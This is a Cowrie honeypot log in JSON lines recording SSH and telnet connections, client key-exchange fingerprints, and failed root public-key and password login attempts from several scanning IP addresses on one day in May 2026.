{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:e8:46:b6:49:c9:2d:6a:1c:ab:01:bb:62:2d:9e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH41Y7GCehsUU5fVonQN9IJV1s9qgzsVwMCx8nxSoa3yLiUfIE/2CC9/s9n3qlwaGtLl+tCnSDrIefpFxVnMVyurdpr69YpfP58qLC5HhGjzGk5tyHFR8/UPDy9nJPCxq/XWfiz5Nrvuo+UcU3igCP+TMzBAYD9R8apoJ6bh7LLHKbpD+uwHVKBFIgbzMmYeVIUTTUb8DfFJjWoGKhEVXmdKV4fTiS6RLd3dNBVbTTzO6S7JP2IvQDO1OmMlVKL+aQqc3pJpso6raayppAf5lp5OMzwWPUOAznyiwn8L+ZVRqOGaOzX3l4rdJJPPCWS5Wqsm6Fw9X/eiC6tCtgVvdD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:e8:46:b6:49:c9:2d:6a:1c:ab:01:bb:62:2d:9e:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.869872Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:e8:46:b6:49:c9:2d:6a:1c:ab:01:bb:62:2d:9e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH41Y7GCehsUU5fVonQN9IJV1s9qgzsVwMCx8nxSoa3yLiUfIE/2CC9/s9n3qlwaGtLl+tCnSDrIefpFxVnMVyurdpr69YpfP58qLC5HhGjzGk5tyHFR8/UPDy9nJPCxq/XWfiz5Nrvuo+UcU3igCP+TMzBAYD9R8apoJ6bh7LLHKbpD+uwHVKBFIgbzMmYeVIUTTUb8DfFJjWoGKhEVXmdKV4fTiS6RLd3dNBVbTTzO6S7JP2IvQDO1OmMlVKL+aQqc3pJpso6raayppAf5lp5OMzwWPUOAznyiwn8L+ZVRqOGaOzX3l4rdJJPPCWS5Wqsm6Fw9X/eiC6tCtgVvdD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.874182Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.992884Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":45607,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1a509e0fc1","protocol":"ssh","message":"New connection: 178.20.210.186:45607 (10.17.0.5:22) [session: ef1a509e0fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:56:45.526541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:56:45.531208Z","src_ip":"178.20.210.186","session":"ef1a509e0fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:56:45.977150Z","src_ip":"178.20.210.186","session":"ef1a509e0fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:56:46.369478Z","src_ip":"178.20.210.186","session":"ef1a509e0fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:56:47.472009Z","src_ip":"178.20.210.186","session":"ef1a509e0fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.34","src_port":39152,"dst_ip":"10.17.0.5","dst_port":22,"session":"0270bd324bc0","protocol":"ssh","message":"New connection: 188.44.20.34:39152 (10.17.0.5:22) [session: 0270bd324bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:17.991796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:17.999730Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:18.155331Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:1a:49:d9:d9:71:43:34:22:5a:45:ea:92:a1:34:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/4oxxAN13TreNUv3PDeJDUculbHvaBN7ocZuW/FelwyZ7lgGjRF/0XMRMYQU0KY/i9imTQdIJPP8GHxoJISzIJJEbAlksNOlgvutEp2zpszRXjTZDsU/8SjIMB2qtXztYA6ixwYZYY6UmR9df8UCqjfMgm+2xGBOk8Xq/mSzcEhJkfXAmLDxRTeLfBwWwG2yqGImra+Yhh8CK4uXKa5aBt5QCMEA1KKHrTVSwOolKMR13EpuKQSzx6Kdl/Wq71OygMM+/cWujFCol32erbqG48C8nN+5AQHQCLio/sFdOeawCjVUsAhMtzOkPp8wnXADR0kOrSEIhNd0ktx4UCMqh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:1a:49:d9:d9:71:43:34:22:5a:45:ea:92:a1:34:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:18.793325Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:1a:49:d9:d9:71:43:34:22:5a:45:ea:92:a1:34:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/4oxxAN13TreNUv3PDeJDUculbHvaBN7ocZuW/FelwyZ7lgGjRF/0XMRMYQU0KY/i9imTQdIJPP8GHxoJISzIJJEbAlksNOlgvutEp2zpszRXjTZDsU/8SjIMB2qtXztYA6ixwYZYY6UmR9df8UCqjfMgm+2xGBOk8Xq/mSzcEhJkfXAmLDxRTeLfBwWwG2yqGImra+Yhh8CK4uXKa5aBt5QCMEA1KKHrTVSwOolKMR13EpuKQSzx6Kdl/Wq71OygMM+/cWujFCol32erbqG48C8nN+5AQHQCLio/sFdOeawCjVUsAhMtzOkPp8wnXADR0kOrSEIhNd0ktx4UCMqh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:18.797533Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:4e:ca:1b:19:fe:e2:50:73:e2:10:2d:9b:25:5d:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6x7Fo0ba5nxmzCN4sF0ika4X3bN23jvuFhii/GaQrnrOGE71pQQbqKDp94OCQZQxB6muVl4y03w9jnM3Atq3arrkbmHfeY+AQ63cfGlrVSJLXiMNMScpAvSQRqWeXkq3ziZoAOqdfzXYGU0MyYT7kCOCucOiLzGFqXGeZrCDas85KHcaR2NfrjD79EvSM3PkmZRccSaEAzAggEj7iZmeyaStO8PgEs1tsC3LCMlYDLBi7gBzLmYRACnvsBk0wHeTXjmP65TQfiwuu+vc2WVFayYjyeTQzOhCdit3Vn4EMOkDR1bEOJqY7U8s8MKIU7/PvlTltirzgEF9RZSK7ZQtAa8cvAf4hocLaH7Bw/CjH3Bjd7XE5X0Hz2YT62TL3jXsOAKWdgTfKx+Ckw5m12OdaXVf2lo7fQpTS5QzSx5vV15jwieNq2MEFvNvvub81BvefZjXDNe4mkcrOeZ+4rCxpziEucmdP6c+NNs3QeYvT/ugvTUZcw1Y6UyXPo4yVZoQhsiX1YP4L10Ctt5AsjP+QInHDRSNyD4k+j6Vc45SvuOjHxyYpqHqKV0iuLxZr0ZubhATV6zHxQ1IfilOsNvUC83StmPpAMyo1dEbn19f0VH+NYh53n2Mp2AacuXO+9ihV5YOMIKfREmE0fnCNxfVUE6HJS5J4RWKLWG+62A19jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:4e:ca:1b:19:fe:e2:50:73:e2:10:2d:9b:25:5d:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:18.935650Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:4e:ca:1b:19:fe:e2:50:73:e2:10:2d:9b:25:5d:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6x7Fo0ba5nxmzCN4sF0ika4X3bN23jvuFhii/GaQrnrOGE71pQQbqKDp94OCQZQxB6muVl4y03w9jnM3Atq3arrkbmHfeY+AQ63cfGlrVSJLXiMNMScpAvSQRqWeXkq3ziZoAOqdfzXYGU0MyYT7kCOCucOiLzGFqXGeZrCDas85KHcaR2NfrjD79EvSM3PkmZRccSaEAzAggEj7iZmeyaStO8PgEs1tsC3LCMlYDLBi7gBzLmYRACnvsBk0wHeTXjmP65TQfiwuu+vc2WVFayYjyeTQzOhCdit3Vn4EMOkDR1bEOJqY7U8s8MKIU7/PvlTltirzgEF9RZSK7ZQtAa8cvAf4hocLaH7Bw/CjH3Bjd7XE5X0Hz2YT62TL3jXsOAKWdgTfKx+Ckw5m12OdaXVf2lo7fQpTS5QzSx5vV15jwieNq2MEFvNvvub81BvefZjXDNe4mkcrOeZ+4rCxpziEucmdP6c+NNs3QeYvT/ugvTUZcw1Y6UyXPo4yVZoQhsiX1YP4L10Ctt5AsjP+QInHDRSNyD4k+j6Vc45SvuOjHxyYpqHqKV0iuLxZr0ZubhATV6zHxQ1IfilOsNvUC83StmPpAMyo1dEbn19f0VH+NYh53n2Mp2AacuXO+9ihV5YOMIKfREmE0fnCNxfVUE6HJS5J4RWKLWG+62A19jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:18.939908Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:c7:ed:20:b7:b0:65:fb:a8:f1:9c:3b:fe:62:3d:03","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALPPIqWVe7CyLfpFKIsoxvkCVNmyDSZ9NNrYWH4DAnbxJSRzvUbABuWxJw9lTt/w/Kl2gXo+EId7E1CtOlqeBPp9M90CFWzmUszx1bjp4DeK3Pjcrky0W6PJRfPjMT0Uvg7S1A0B7g+Eocugc2fxFAP+NGDvMq9ir7OwJ8l1Tlg5AAAAFQDauBgNHz0nhwLmPd6pz39P5U978wAAAIBan2vPY5m0h7+NAqsXg1/9OZ5wc81M453Apiz5o/xHr3FshAkeIFgvciGJJjJLu4GbnvIjm3S4wkxnZdiRtewCeLeKyp5Qr5yTV2G0C/EsFSYChm+ZpCE+gIq4cMrRWONssr6pRr8/Yl03t/Bb40nJa99amzhpDZOzUHfudLmFNwAAAIAOxU/XEKSeL/S2f6JEojA/RmJO8ouP30Tld+q6qkuLyx3dZHJWSRukRT7zBYK82jpRUY2E8nQpla80pX3fIJ2wv2SxkGQvFssCNjTO/+XnVSLM/nl7Ab4OMqqg+fPmNYl5wzuUIQlwHZTNpHdIv7qy6H/ZAWqVh2FvPqaCNK3xLw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 48:c7:ed:20:b7:b0:65:fb:a8:f1:9c:3b:fe:62:3d:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.078074Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:c7:ed:20:b7:b0:65:fb:a8:f1:9c:3b:fe:62:3d:03","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALPPIqWVe7CyLfpFKIsoxvkCVNmyDSZ9NNrYWH4DAnbxJSRzvUbABuWxJw9lTt/w/Kl2gXo+EId7E1CtOlqeBPp9M90CFWzmUszx1bjp4DeK3Pjcrky0W6PJRfPjMT0Uvg7S1A0B7g+Eocugc2fxFAP+NGDvMq9ir7OwJ8l1Tlg5AAAAFQDauBgNHz0nhwLmPd6pz39P5U978wAAAIBan2vPY5m0h7+NAqsXg1/9OZ5wc81M453Apiz5o/xHr3FshAkeIFgvciGJJjJLu4GbnvIjm3S4wkxnZdiRtewCeLeKyp5Qr5yTV2G0C/EsFSYChm+ZpCE+gIq4cMrRWONssr6pRr8/Yl03t/Bb40nJa99amzhpDZOzUHfudLmFNwAAAIAOxU/XEKSeL/S2f6JEojA/RmJO8ouP30Tld+q6qkuLyx3dZHJWSRukRT7zBYK82jpRUY2E8nQpla80pX3fIJ2wv2SxkGQvFssCNjTO/+XnVSLM/nl7Ab4OMqqg+fPmNYl5wzuUIQlwHZTNpHdIv7qy6H/ZAWqVh2FvPqaCNK3xLw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.081825Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:eb:1b:3d:2d:e5:97:fe:d3:0c:f2:54:45:3b:f1:03","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINXRDmaP5mig6XimLCf393AdSfnbQY4khKt+upHash/O","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ba:eb:1b:3d:2d:e5:97:fe:d3:0c:f2:54:45:3b:f1:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.222183Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:eb:1b:3d:2d:e5:97:fe:d3:0c:f2:54:45:3b:f1:03","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINXRDmaP5mig6XimLCf393AdSfnbQY4khKt+upHash/O","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.226686Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:c8:1f:d5:3a:ff:cd:de:57:2a:b2:97:1e:7d:c5:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR6Ztl39VEPAzYmwAKRVa2C0k0vG3DnzlpPWx4oFtMQRuORHjAlmmIqo9ykLW1WPdeHBRCmt1FeIOi4sZFF56fpyLEYi6GU7mwUwz1ckcz9wU3GiDWvQpVOjxKap8dD1339oRAOzYdXlgP/nBWK/MLvZ2UnGtFEE05v0dULCoEi5p0Qf+1MHzKZde33KtyvUsO5QnUHcE1bq59xpwwqT5EKLpZpoOATn3vyRY7RgmUZLdxAwj+DrkbtBG2CrFLFDAQPO1PbDXgC7CYa9X1CCaHuPmlko6yQyM8aOdLIjetpcwQlLgAZH2Q2wc6aA+zrIWquJTnj1v0Q9XWrWUY21lB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:c8:1f:d5:3a:ff:cd:de:57:2a:b2:97:1e:7d:c5:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.363182Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:c8:1f:d5:3a:ff:cd:de:57:2a:b2:97:1e:7d:c5:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR6Ztl39VEPAzYmwAKRVa2C0k0vG3DnzlpPWx4oFtMQRuORHjAlmmIqo9ykLW1WPdeHBRCmt1FeIOi4sZFF56fpyLEYi6GU7mwUwz1ckcz9wU3GiDWvQpVOjxKap8dD1339oRAOzYdXlgP/nBWK/MLvZ2UnGtFEE05v0dULCoEi5p0Qf+1MHzKZde33KtyvUsO5QnUHcE1bq59xpwwqT5EKLpZpoOATn3vyRY7RgmUZLdxAwj+DrkbtBG2CrFLFDAQPO1PbDXgC7CYa9X1CCaHuPmlko6yQyM8aOdLIjetpcwQlLgAZH2Q2wc6aA+zrIWquJTnj1v0Q9XWrWUY21lB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.367673Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:19.508011Z","src_ip":"188.44.20.34","session":"0270bd324bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":45880,"dst_ip":"159.203.135.109","dst_port":23,"session":"370c7d37bf5a","protocol":"telnet","message":"New connection: 97.74.232.189:45880 (159.203.135.109:23) [session: 370c7d37bf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:21.329824Z"}
{"eventid":"cowrie.session.closed","duration":31.18579912185669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:01:52.515483Z","src_ip":"97.74.232.189","session":"370c7d37bf5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":37100,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dfe6cbba462","protocol":"ssh","message":"New connection: 176.65.132.190:37100 (10.17.0.5:22) [session: 9dfe6cbba462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:02:51.955010Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:02:51.978091Z","src_ip":"176.65.132.190","session":"9dfe6cbba462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":64024,"dst_ip":"10.17.0.5","dst_port":22,"session":"fab88a094dc5","protocol":"ssh","message":"New connection: 45.148.10.147:64024 (10.17.0.5:22) [session: fab88a094dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:03:20.951463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:03:20.956396Z","src_ip":"45.148.10.147","session":"fab88a094dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:03:21.042254Z","src_ip":"45.148.10.147","session":"fab88a094dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:03:21.417509Z","src_ip":"45.148.10.147","session":"fab88a094dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.56.79.53","src_port":60950,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcb43d2e184c","protocol":"ssh","message":"New connection: 45.56.79.53:60950 (159.203.135.109:22) [session: dcb43d2e184c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:03:39.791565Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:03:40.368953Z","src_ip":"45.56.79.53","session":"dcb43d2e184c","protocol":"ssh"}
